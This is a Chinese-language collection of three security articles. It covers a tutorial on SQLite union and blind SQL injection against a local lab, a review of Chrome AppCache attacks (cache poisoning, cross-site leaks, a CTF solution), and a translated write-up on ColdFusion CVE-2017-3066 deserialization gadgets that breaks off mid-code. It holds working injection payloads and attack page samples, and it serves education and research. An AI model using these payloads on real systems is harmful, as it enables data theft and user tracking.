replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~')
Inject URL:
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info'
**获取列中的数据**
现在我们有了表名和列名，最后一件事就是去获取我们想要的列中对应的数据了，可以使用如下SQL查询：
Select column_name from table_name
只要将column_name和table_name替换为你想要的名字就行了，在本例中表名为info，列名为OS，因此最终查询语句为:
select OS from info
Inject URL
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,OS,3,4,5 FROM info
我们可以使用group_concat函数来提取列中的完整数据。
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(OS,'~~'),3,4,5 FROM info
**2、基于联合查询的SQL注入(字符型)**
字符型的基于联合查询的SQL注入与数字型的并没有太大差别，唯一的区别在于，用户的数据将被放入SQL分割符之间，我们将需要逃逸引号、括号等分隔符的闭合。在漏洞应用程序中有一处字符型的基于联合查询的SQL注入，注入点如下：
http://127.0.0.1/sqlite-lab/index.php?tag=ubuntu
为了利用该SQL注入，只需要在payload前加上'并在结束前加上– -，举个例子，要获取表名需要用到如下payload:
' union select 1,2,3,4,5 FROM sqlite_master WHERE type IN('table','view') AND name NOT LIKE 'sqlite_%' -- -
Inject URL
http://127.0.0.1/sqlite-lab/index.php?tag=ubuntu' union select 1,2,3,4,5 FROM sqlite_master WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%' -- -
因此，字符型基于联合查询的SQL注入除了一点点调整以逃逸分隔符外，与数字型的并没有差别。
**3、布尔型SQL盲注**
在本节中我们将讨论SQL盲注技巧。基于联合查询的注入简单而直接，但盲注就比较需要时间和技巧了。在开始之前，先鉴别下注入点是字符型还是数字型的，如果注入点是数字型，那我们需要做的调整和payload将如以下所示。
paramater=value and 2 < 3--
如果注入点是字符型的，那payload就长以下这样:
paramater=value' and 2 < 3-- - paramater=value) and 2 < 3-- - paramater=value') and 2 < 3-- -
如果SQL注入是字符型的，只要将你的payload放置到闭合分割符和– -之间，假设我们用来探测的语句是:
paramater=value) and 2 < 3-- -
那么，payload将被放置在value)和– -之间:
paramater=value) put_your_payload_here-- -
现在，我们开始对数据库进行枚举，在本例中的index.php脚本中，POST参数'tag‘存在布尔型的SQL盲注，一个可用请求如下：
http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu&search=Check+Plan
让我们开始吧!
**计算表单数量**
为了计算表单的数量，我们可以使用如下payload：
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
用数字来替换number_of_table，现在就让我们在实验环境中测试吧，我们将判断数据库表单总数是否小于5，payload长这样：
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) <5
然后注入的HTTP请求长以下这样：
http://127.0.0.1/sqlite-lab/index.php
POST request data
tag=ubuntu' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < 5 -- - search=Check+Plan
在fuzz中，我们需要检查页面内容与之前是否一致，一致则为真即表单数量小于5。接着，当我们将数量改为2，数据库表单数量为2，因此状态为假，即页面将与之前不一致。为了确认表单数量，使用=来代替<和>。
http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) =2 -- -&search=Check+Plan
确认了表单数量后，我们就一个接一个地猜解表名。
**猜解表名**
为了猜解表名长度，可以使用以下payload：
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
此处，将table_name_length_number替换为数字，如以下我们确认第一个表名长度是否小于6，payload：
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) < 6
通过fuzz，我们可以得到表名的长度，然后接着猜解下一个表名的长度，只需要增加limit和offset的值即可：
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1) = table_name_length_number
其余的payload则保持一致。接着，我们将通过如下payload猜解表名，在该payload中，我们将使用hex值来与表名中的字符进行对照。
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
该payload提取表名然后提取其中字符，将其转换为hex表示，再跟我们猜测的值进行对比。hex(substr(name,1,1))函数从指定位置提取表名中的一个字符。在上述代码中，substr函数从位置1提取一个字符，再将其转换为hex形式。如果是hex(substr(name,3,1))则表示从第3位开始，截取一个字符。在payload最后，hex('some_char')是我们需要猜测的指定表名字符，hex函数将会将其转换为hex值，这将会让我们的注入更加快速一些。
一旦我们得到表名的第一个字符后，我们将继续猜解第二个字符，为了猜解下一个字符，我们需要改变sbustr函数中代表字符所在位置的数字。即hex(substr(name,1,1))中将1,1改为2，1，接着，我们再进行相同的步骤直到猜解完毕。
让我们来看看具体情况，首先我们将猜解表名第一个字母是否大于'a'：
http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('a')-- -&search=Check+Plan
页面响应与未被注入时一致，这意味着表名的第一个字符大于'a'，在第二次测试中，我们尝试字符k，即测试表名第一个字符是否大于字母'k'，因此，请求长这样：
http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('k')-- -&search=Check+Plan
现在，页面响应与之前普通页面不一致了，即说明表名第一个字符不大于字母k。因此，通过上面两个请求，我们得出表名第一个字符在'a'和'k'之间。在多次尝试后，我们就可以将范围缩到两个前后为同一个字符，这时我们使用=来判断：
http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('i')-- -&search=Check+Plan
以上就是通过fuzz猜解表名的过程，为了继续猜解下一个字符，只需要将hex(substr(name,1,1))中的1，1改为2，1即可，其余不变，然后就继续猜解直到完全猜解出来为止吧。
**猜解列名**
为了猜解列名，我们将会使用如下payload来获取列名列表：
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`","")
以上，在“中的即为列名，上面提到的payload将会提取出所有列名，为了提取相应字符数据需要将其转换为hex再进行比较，以下payload将会有所帮助：
hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`",""),column-name_character_numer,1))
你只需要将上面payload中的column-name_character_numer替换为相应的数字即可，比如想要猜解列名列表中的第一个字符，你只需将其替换为1.本例中的SQL盲注payload如下：
and (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`",""),1,1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info') < hex('Character_we_are_guessing')
将Character_we_are_guessing替换为想要猜解的字符即可，就像下面示例，hex('q')表示我们想要确认第一个字符是否在'q'之前。
http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`",""),1,1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info') < hex('q')-- -&search=Check+Plan
页面内容与之前的一致，即列名第一个字符在q之前。后续步骤与前面猜解表名类似。
**从列中猜解数据**
接着让我们来猜解列中的数据。在猜解完表名和列名后，假设我们想要猜解users表中password列的数据。如我们所知，从表中的列里面提取数据的SQL查询如下：
Select column_name from table_name
上述查询将返回所有结果，为了限制只返回一条结果，可以使用：
Select password from users limit 1 offset 0
计算查询结果数量可以使用：
Select count(password) from users
获取单一结果的长度可以使用：
Select length(password) from users limit 1 offset 0
现在，让我们开始提取数据吧，SQL查询如下：
Select hex(substr(password,1,1)) from users limit 1 offset 0
在SQL盲注中payload则为：
and (Select hex(substr(password,1,1)) from users limit 1 offset 0)>hex(‘some_char’)
让我们开始提取数据的第一个字符吧，payload：
and (Select hex(substr(password,1,1)) from users limit 1 offset 0) > hex('k')
注入请求：
http://127.0.0.1/sqlite-lab/index.php
Post body data
tag=ubuntu' and (Select hex(substr(password,1,1)) from users limit 1 offset 0) >hex('a')-- -&search=Check+Plan
页面内容与之前一致，我们可以确定第一个字符在'a'之后，将字符换位'k‘，然后我们就可以看到页面不一致。
于是得到第一个字符位于'a'到'k'之间。后续猜解过程与前面猜解表名和列名一致，重复猜解动作直到猜解出所有字符为止。
**致谢**
特别感谢IndiShell Crew 和 Myhackerhouse给我的灵感。
**参考链接**
<https://www.sqlite.org/> | 社区文章 |
[AppCache](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Using_the_application_cache)（Application
Cache）是HTML5提供的应用缓存机制的一组接口，在各大浏览器（曾经）都有实现。它通过用户指定的manifest缓存特定页面从而使这些页面即使在离线状态的都可以访问，提高了访问速度且减轻了服务器的压力。
但随着技术发展，像Service
Worker这种新的客户端缓存技术逐渐有了取代AppCache这种老大哥技术的趋势。AppCache由于其技术实现的缺陷，也被安全研究人员发现了一些漏洞。本文针对Chrome下的AppCache实现，回顾曾经被爆出来的安全漏洞。
## #1 AppCache Poisioning
这个漏洞在[1]和[2]中被提及，主要的成因是AppCache的FALLBACK字段没有限制源URI的作用域。意思就是说即使attack.html和manifest.txt在网站的`/1337/a/b/c/`下，attach.html安装的manifest.txt也可以指定根目录`/index.html`的FALLBACK。这一缺陷结合Cookie
Bomb等技术，只要使被劫持的页面返回500等错误就可以触发FALLBACK，使之被劫持到攻击者的恶意页面。一个例子如下：
<https://example.com/1337/a/b/c/attack.html>
<html manifest="manifest.txt">
<script>
for(var i = 1e2; ;i--)
document.cookie = i + '=' + Array(4e3).join(0) + '; path=/';
</script>
</html>
<https://example.com/1337/a/b/c/manifest.txt>
CACHE MANIFEST
manifest.txt
FALLBACK:
/ /1337/a/b/c/poison.html
当用户先访问了`/1337/a/b/c/attack.html`之后，再访问根路由`/`由于Cookie
Bomb就会发生500错误，浏览器就会将`/1337/a/b/c/poison.html`页面的内容返回给用户。
这个漏洞的利用条件需要
* 上传点，可以上传html和manifest
* （或者说，返回内容可控的路由，比如html注入，可以注入`<html manifest="">`标签即可。
真实的案例可以是一些托管用户文件的网站，比如aws bucket、dropbox等等。
## #2 XSLeaks
1. Leak URL是否跳转
AppCache的CACHE字段可以设置跨域的URL，当设置的URL在请求时发生了跳转，appcache无法成功cache，onerror事件被触发，而当成功cache时，oncached事件被触发，这就可以oracle出一个跨域URL是否发生了跳转。比如下面的例子：
attack.html
<html manifest="manifest.appcache">
<script>
applicationCache.onerror = () => console.log("User isn't logged since there was a redirect");
applicationCache.oncached = () => console.log("User is logged since there wasn't a redirect");
</script>
</html>
manifest.appcache
CACHE MANIFEST
https://www.facebook.com/settings
attack.html页面就可以探测出用户的facebook是否是登录状态，因为非登录状态访问`https://www.facebook.com/settings`会发生跳转。
1. Leak 会发生跳转的URL内容
AppCache的NETWORK字段也可以设置跨域的URL，且是以白名单的方式允许哪些URL可以访问。
> 名词说明：
>
> victim URL ： 会发生跳转的URL
>
> redirect URL ：跳转之后的URL
如果将victim URL以及跳转后的redirect URL设置为NETWORK字段内容，则访问victim
URL会正常跳转不会被拦截。而如果将victim URL和与redirect URL不一致的URL设置为NETWORK字段，则由于跳转后的redirect
URL不在白名单内，所以访问会失败。博客里的例子如下：
cache.manifest
CACHE MANIFEST
NETWORK:
https://www.facebook.com/me
https://www.facebook.com/victim
attack.html
<html manifest="cache.manifest">
<script>
applicationCache.oncached = () => {
fetch("https://www.facebook.com/me", {
mode: "no-cors",
credentials: "include"
}).then(() => {
console.log("The profile of the user is /victim");
}).catch(()= > {
console.log("The profile of the user isn't /victim");
});
}
</script>
</html>
其中受害者的facebook在登录状态，当访问`https://www.facebook.com/me`时候，会自动跳转到`https://www.facebook.com/<用户名>`。于是当受害者访问attack.html时，页面就会oracle出受害者的facebook用户名是否是`victim`
这样我们可以把用户名顺序遍历的结果写到一个manifest中，利用二分法搜索出最终的用户名，相当于爆搜来说已经是很大的提升了，但是还是不够优雅。libherrera在看了AppCache的chrome源码发现了一种非标准的`feature`,叫做`URL
patterns`。样子长下面：
CACHE MANIFEST
NETWORK:
https://www.facebook.com/me
https://www.facebook.com/vi*tim isPattern
于是通过URL pattern，就可以逐字符oracle出完整的用户名。
当然故事没有结束，在报告了这个漏洞之后的一年，作者又发现了manifest中的`prefix match`，更简洁的payload出来了，长下面的样子
CACHE MANIFEST
NETWORK:
https://facebook.com/me
https://facebook.com/v
两个bug分别是`CVE-2020-6399`和`CVE-2021-21168`
这个漏洞的利用场景可以说是非常多了，比如：
* 跳转后的URL包含session token
* 跳转后的URL包含CSRF token
不再一一例举。
## # 一道例题 Pwn2Win 2021 MessageKeeper
这道题的考点就是利用AppCache中的FALLBACK字段。
题目漏洞点就是有一个JSONP接口存在任意的html注入，但是CSP是`default-src none`。
其中flag也在这个JSONP接口返回，但是需要这个JSONP接口的另一个参数token也正确才行。
所以题目基本就是需要拿到这个admin的token，然后用这个JSONP的功能就可以拿到flag。看看解法最后用到的manifest长啥样吧（来自terjanq，和官方解基本一样
CACHE MANIFEST
/?cached
FALLBACK:
/user?token=a /static/background.png
ORIGIN-TRIAL:
${trial_token}
#
其中trial_token可以去[Chrome Origin
Trials](https://developer.chrome.com/origintrials/#/register_trial/1776670052997660673)申请一个，值得一提的是可以申请任意origin的token，即使这个origin不属于你。
这个manifest的意思是缓存`/?cache`，其实也就是首页，加个参数可以保证不影响到访问`/`并且有限制FALLBACK作用域的作用。所以此时，下面的FALLBACK字段也只作用于`/?cached`页面。
首页中有脚本调用了这个JSONP，所以这个script标签的src会被作用于FALLBACK字段
但如何让这个FALLBACK生效呢？解法有一步是主动调用`/logout`让admin退出，就是为了让`/user`接口返回401，从而让FALLBACK起作用。
所以当这个appcache
manifest注册之后，第一次访问`/?cached`，首页script的src向`/user?token=<正确的token>`发起请求返回401，如果：
1. 此时攻击者注册的manifest中的FALLBACK字段的URI`/user?token=a` **匹配** 了这个真的`/user?token=<正确的token>`，那么浏览器就会先请求`/static/background.png`然后返回图片的内容。而这个`/static/background.png`设置了`Cache-Control: public, max-age=14400`返回头，也就是说会缓存在本地中，下次访问直接从本地缓存拿。
2. 此时攻击者注册的manifest中的FALLBACK字段的URI`/user?token=a` **没有匹配** 到真的`/user?token=<正确的token>`，那么浏览器就不会去请求`/static/background.png`这个文件，而是直接报401。
这样当第二次再请求`/?cached`的时候，如果匹配正确，会直接从本地缓存拿`/static/background.png`文件，如果匹配失败，依然会发送一个http请求。
这样，两次请求的时间差异就会因为匹配成功与否呈现出差别，以此就可以进行oracle，结合`prefix
match`就可以逐字节oracle出admin的token。
上面的解释应该是题目作者[gist](https://gist.github.com/lbherrera/f531316431d890320023247c4d946d0b)上的意思，但是他的gist代码感觉并不是这个意思，因为gist的payload只对/?cached进行了一次load，并不是两次。
所以我测试了一下FALLBACK的机制，也就是FALLBACK被触发一次之后，会不会直接cache触发FALLBACK的URI的返回结果。如果不会cache，那么作者的这种解释就显得牵强，因为两次请求触发FALLBACK的URI都会被浏览器请求一次然后再返回FALLBACK后的URI（触发FALLBACK的URI请求不会在console显示），这样能触发FALLBACK的URI反而会因为还要加载新的URI（即题目中的background.png）而花费更长的时间。
测试的结果也验证的我的猜想，FALLBACK并不会cache触发FALLBACK的URI的返回结果。图中可以看出从disk
cache和401的两个结果花费的时间基本一致，因为disk cache看起来是从缓存拿的结果，实际上也进行了一次http request。
那么作者提供的payload为什么会起作用呢。在测试的时候我注意到一个有规律可以复现的现象，那就是chrome会retry被401的`/user?token=xx`请求
而被FALLBACK匹配的`/user?token=xx`请求则不会进行retry。而这多的一次retry的时间刚好和oracle的时间差吻合，到这里应该也就大概明白了这个oracle的逻辑了。
整理下这个题的关键点：
1. FALLBACK的作用域可以被manifest限制在独立的URI里
2. chrome会对失败的401请求进行retry，结合AppCache的FALLBACK会导致一个侧信道
## Timeline
* Chrome 50在[非安全环境](https://w3c.github.io/webappsec-secure-contexts/)下“废弃” - 2016/4
* Chrome 70在非安全环境下“移除” - 2018/10
* Chrome 79在安全环境下“废弃” - 2019/12
* Chrome 80限制AppCache作用域 - 2020/2
* Chrome 84开启“reverse origin trial” - 2020/7
* Chrome 85在安全环境下移除，但依然可以通过"reverse origin trial"开启 - 2020/8
* Chrome 93完全移除 - 大约2021/10
## Reference
* [1] Exploiting the Unexploitable with Lesser Known Browser Tricks. <https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks>. AppSec EU 2017.
* [2] Attacking Modern Web Technologies. <https://www.slideshare.net/fransrosen/attacking-modern-web-technologies>. AppSec EU 2018.
* [3] <https://blog.lbherrera.me/posts/appcache-forgotten-tales/>. @lbherrera. 2021/5/31. | 社区文章 |
# Adobe ColdFusion：CVE-2017-3066漏洞的其他利用思路
|
##### 译文声明
本文是翻译文章，文章原作者 Matthias Kaiser ，文章来源：https://codewhitesec.blogspot.hk/
原文地址：<https://codewhitesec.blogspot.hk/2018/03/exploiting-adobe-coldfusion.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在最近一次渗透测试任务中，我的小伙伴Thomas遇到了几台服务器，这几台服务器上运行着Adobe ColdFusion
11以及12平台，其中某些服务器存在CVE-2017-3066漏洞，但无法通过TCP协议外连，因此无法利用这个漏洞。Thomas向我求助，问我是否有办法帮他获取SYSTEM权限的shell，因此我把我所做的工作汇成这篇文章与大家一起分享。
## 二、Adobe ColdFusion & AMF简介
在讨论技术细节之前，我先简单介绍一下Adobe ColdFusion（CF）。Adobe
ColdFusion是类似ASP.net之类的应用程序开发平台（Application Development
Platform），然而诞生时间要更为久远。开发者可以使用Adobe ColdFusion来搭建网站、SOAP以及REST Web服务，使用Action
Message Format（AMF）与Adobe Flash进行交互。
AMF协议是一种自定义的二进制序列化协议。该协议有两种格式：AMF0以及AMF3。一个Action
Message由头部（header）以及主体（body）所组成。AMF0以及AMF3中支持多种数据类型。比如，AMF3格式支持的协议元素以及类型标识符如下所示：
Undefined - 0x00
Null - 0x01
Boolean - 0x02
Boolean - 0x03
Integer - 0x04
Double - 0x05
String - 0x06
XML - 0x07
Date - 0x08
Array - 0x09
Object - 0x0A
XML End - 0x0B
ByteArray - 0x0C
如果想了解AMF0以及AMF3二进制消息格式的详细内容，大家可以查阅相关[维基百科](https://en.wikipedia.org/wiki/Action_Message_Format)页面。
不同语言中关于AMF的具体实现也有所不同。对于Java来说，我们可以使用Adobe BlazeDS（现在是Apache BlazeDS），Adobe
ColdFusion中也用到了这个技术。
BlazeDS AMF序列化器（serializer）可以序列化复杂的对象图（object graph）。序列化器会从根对象（root
object）开始处理，递归序列化根对象成员。
在序列化复杂对象方面，BlazeDS支持两种常用的序列化技术：
1、序列化Bean属性（AMF0以及AMF3）；
2、使用Java的`java.io.Externalizable`接口来序列化（AMF3）。
### 序列化Bean属性
这种技术需要待序列化的对象具有公开的无参数构造函数，每个成员都拥有公开的Getter以及Setter方法（符合JavaBeans规范）。
为了收集某个对象所有的成员值，AMF序列化器会在序列化过程中调用所有的Getter方法。成员名、成员值以及对象的类名存放在Action消息的body区中。
在反序列化过程中，程序会从Action消息中获取类名，构造新的对象，然后以成员值作为参数调用每个成员名对应的set方法。这一个过程由专门的方法来实现，比如`flex.messaging.io.amf.Amf3Input`类中的`readScriptObject()`方法或者`flex.messaging.io.amf.Amf0Input`类中的`readObjectValue()`方法。
### 使用`java.io.Externalizable`接口序列化
如果某些类实现（implement）了`java.io.Externalizable`接口（继承自`java.io.Serializable`），BlazeDS还支持这些类的复杂对象的序列化。
public abstract interface Externalizable
extends Serializable
{
public abstract void writeExternal(ObjectOutput paramObjectOutput)
throws IOException;
public abstract void readExternal(ObjectInput paramObjectInput)
throws IOException, ClassNotFoundException;
}
实现这一接口的每个类都需要自己提供反序列化逻辑，调用相关方法来处理`java.io.ObjectInput`对象，读取序列化后的类型及字符串（比如`method
read(byte[] paramArrayOfByte)`）。
在AMF3中对某个对象（类型标识符为0xa）进行反序列化时，会调用`flex.messaging.io.amf.Amf3Input`类的`readScriptObject()`方法。在如下代码的759行，`readExternalizable`方法会被调用，该方法会在待反序列化的对象上调用`readExternal()`方法。
/* */ protected Object readScriptObject()
/* */ throws ClassNotFoundException, IOException
/* */ {
/* 736 */ int ref = readUInt29();
/* */
/* 738 */ if ((ref & 0x1) == 0) {
/* 739 */ return getObjectReference(ref >> 1);
/* */ }
/* 741 */ TraitsInfo ti = readTraits(ref);
/* 742 */ String className = ti.getClassName();
/* 743 */ boolean externalizable = ti.isExternalizable();
/* */
/* */
/* */
/* 747 */ Object[] params = { className, null };
/* 748 */ Object object = createObjectInstance(params);
/* */
/* */
/* 751 */ className = (String)params[0];
/* 752 */ PropertyProxy proxy = (PropertyProxy)params[1];
/* */
/* */
/* 755 */ int objectId = rememberObject(object);
/* */
/* 757 */ if (externalizable)
/* */ {
/* 759 */ readExternalizable(className, object); //<- call to readExternal
/* */ }
/* */ //...
/* */ }
阅读上述文字后，大家应该对Adobe ColdFusion以及AMF有了基本的了解。
## 三、已有成果
Chris Gates（[@Carnal0wnage](https://github.com/Carnal0wnage
"@Carnal0wnage")）之前发表过一篇[文章](http://www.carnal0wnage.com/papers/LARES-ColdFusion.pdf)，详细介绍了如何渗透测试ColdFusion，是难得的一篇好文。
Wouter Coekaerts（[@WouterCoekaerts](https://github.com/WouterCoekaerts
"@WouterCoekaerts")）也在自己的[博客](http://wouter.coekaerts.be/2011/amf-arbitrary-code-execution)中提到，反序列化不可信的AMF数据是非常危险的一种行为。
如果在Flexera/Secunia数据库中查找历史上已有的Adobe
ColdFusion漏洞信息，你会发现这些漏洞大多数为XSS、XXE或者信息泄露漏洞。
最近的几个漏洞为：
通过RMI实现不可信数据的反序列化（CVE-2017-11283/4 by @nickstadb）
XXE（CVE-2017-11286 by Daniel Lawson of @depthsecurity）
XXE（CVE-2016-4264 by @dawid_golunski）
## 四、CVE-2017-3066
2017年，AgNO3 GmbH的Moritz Bechler以及我的小伙伴Markus Wulftange各自独立发现了Apache
BlazeDS中的CVE-2017-3066漏洞。
这个漏洞的要点是Adobe Coldfusion中没有采用可信类的白名单机制。因此如果某个类位于Adobe
ColdFusion的类路径（classpath）中，只要这些类符合Java
Beans规范或者实现了`java.io.Externalizable`，那么就可以发送到服务器进行反序列化。Moritz和Markus两个人都发现，实现了`java.io.Externalizable`接口的JRE类（`sun.rmi.server.UnicastRef2`以及`sun.rmi.server.UnicastRef`）会在AMF3反序列化过程中触发一个TCP出站连接。当成功连接到攻击者的服务器后，程序会使用Java的原生反序列化方法（`ObjectInputStream.readObject()`）来反序列化服务器的响应数据。这两个人都找到了一个非常好的“桥梁”，可以将AMF反序列化与Java的原生反序列化过程结合起来，这样许多公开的利用代码就可以用在这种场景中。大家可以访问Markus的[博客](http://codewhitesec.blogspot.de/2017/04/amf.html)了解关于该漏洞的详细信息。Apache通过`flex.messaging.validators.ClassDeserializationValidator`类引入了一种验证机制，其中包含一个默认的白名单，但也可以使用配置文件来进行配置。详细信息可以查阅Apache
BlazeDS的发行[说明](http://www.apache.org/dist/flex/BlazeDS/4.7.3/RELEASE_NOTES)。
## 五、CVE-2017-3066的其他利用思路
本文开头提到过，我的小伙伴Thomas向我请求帮助，希望能够在没有出站连接的条件下同样能够利用这个漏洞。
先前我已经快速阅读过 Moritz Bechler发表的研究论文（[Java Unmarshaller
Security](https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf)），论文中他分析了几种“Unmarshaller”，其中就包括BlazeDS。Moritz
Bechler所提供的漏洞利用载荷不适用我们这种场景，因为classpath中缺少相关的库。
因此我还是决定按照自己常用的方法来挖掘。面对Java时，我首先会想到我最喜欢的“逆向工程工具”：Eclipse。Eclipse配上强大的反编译插件[JD-Eclipse](https://github.com/java-decompiler/jd-eclipse)就足以应付动态以及静态分析场景。之前我也是一名开发者，习惯于使用IDE，这样开发起来能够更加方便，使非常低效且容易出错的反编译工作能够顺利推进。我新建了一个Java工程，将Adobe
Coldfusion 12的所有jar文件以外部库方式添加到工程中。
首先我想到的是寻找对Java的`ObjectInputStream.readObject`方法的进一步调用情况。使用Eclipse可以轻松完成这个任务，只需要打开`ObjectInputStream`类，右键点击`readObject()`方法，然后点击“Open
Call Hierarchy”即可。感谢JD-Eclipse以及反编译器的强大功能，Eclipse可以根据收集到的类信息，在没有源代码的情况下重新构造整个函数调用图。调用图最开始看起来规模非常庞大，但只要具备一定经验，你很快就能发现整张图中哪些节点比较有趣。经过几个小时的分析后，我找到了两个比较有希望的调用图。
### 基于SETTER方法的利用技术
第一个切入点源自于`org.jgroups.blocks.ReplicatedTree`类的`setState(byte[] new_state)`方法。
阅读这个方法的实现代码，我们可以想象第605行会出现什么状况。
/* */ public void setState(byte[] new_state)
/* */ {
/* 597 */ Node new_root = null;
/* */
/* */
/* 600 */ if (new_state == null) {
/* 601 */ if (log.isInfoEnabled()) log.info("new cache is null");
/* 602 */ return;
/* */ }
/* */ try {
/* 605 */ Object obj = Util.objectFromByteBuffer(new_state);
/* 606 */ new_root = (Node)((Node)obj).clone();
/* 607 */ root = new_root;
/* 608 */ notifyAllNodesCreated(root);
/* */ }
/* */ catch (Throwable ex) {
/* 611 */ if (log.isErrorEnabled()) { log.error("could not set cache: " + ex);
/* */ }
/* */ }
/* */ }
快速查看函数调用图后，我们确认调用链的最后一个节点是调用`ObjectInputStream.readObject()`。
这里只需要注意一件事情：传递给`setState()`的`byte[]`参数在`0x0`偏移处有一个额外的字节`0x2`，我们可以在`org.jgroups.util.Util`类的364行代码中看到这个信息。
/* */ public static Object objectFromByteBuffer(byte[] buffer, int offset, int length) throws Exception
/* */ {
/* 358 */ if (buffer == null) return null;
/* 359 */ if (JGROUPS_COMPAT)
/* 360 */ return oldObjectFromByteBuffer(buffer, offset, length);
/* 361 */ Object retval = null;
/* 362 */ InputStream in = null;
/* 363 */ ByteArrayInputStream in_stream = new ByteArrayInputStream(buffer, offset, length);
/* 364 */ byte b = (byte)in_stream.read();
/* */ try {
/* */ int len;
/* 367 */ switch (b) {
/* */ case 0:
/* 369 */ return null;
/* */ case 1:
/* 371 */ in = new DataInputStream(in_stream);
/* 372 */ retval = readGenericStreamable((DataInputStream)in);
/* 373 */ break;
/* */ case 2:
/* 375 */ in = new ObjectInputStream(in_stream);
/* 376 */ retval = ((ObjectInputStream)in).readObject();
/* */ //...
/* */ }
/* */ }
/* */ }
漏洞利用情况如下图所示：
这个漏洞利用方法针对的是Adobe ColdFusion 12，并且只有启用JGroups时才能利用成功。
### 基于Externalizable的利用技术
第二个切入点源自于`org.apache.axis2.util.MetaDataEntry`类的`readExternal`方法。
在代码中的297行，程序会调用`SafeObjectInputStream.install(inObject)`方法。
/* */ public static SafeObjectInputStream install(ObjectInput in)
/* */ {
/* 62 */ if ((in instanceof SafeObjectInputStream)) {
/* 63 */ return (SafeObjectInputStream)in;
/* */ }
/* 65 */ return new SafeObjectInputStream(in) ;
/* */ }
在这个函数中，我们的`AMF3Input`实例属于`org.apache.axis2.context.externalize.SafeObjectInputStream`类的一个实例。
/* */ private Object readObjectOverride()
/* */ throws IOException, ClassNotFoundException
/* */ {
/* 318 */ boolean isActive = in.readBoolean();
/* 319 */ if (!isActive) {
/* 320 */ if (isDebug) {
/* 321 */ log.debug("Read object=null");
/* */ }
/* 323 */ return null;
/* */ }
/* 325 */ Object obj = null;
/* 326 */ boolean isObjectForm = in.readBoolean();
/* 327 */ if (isObjectForm)
/* */ {
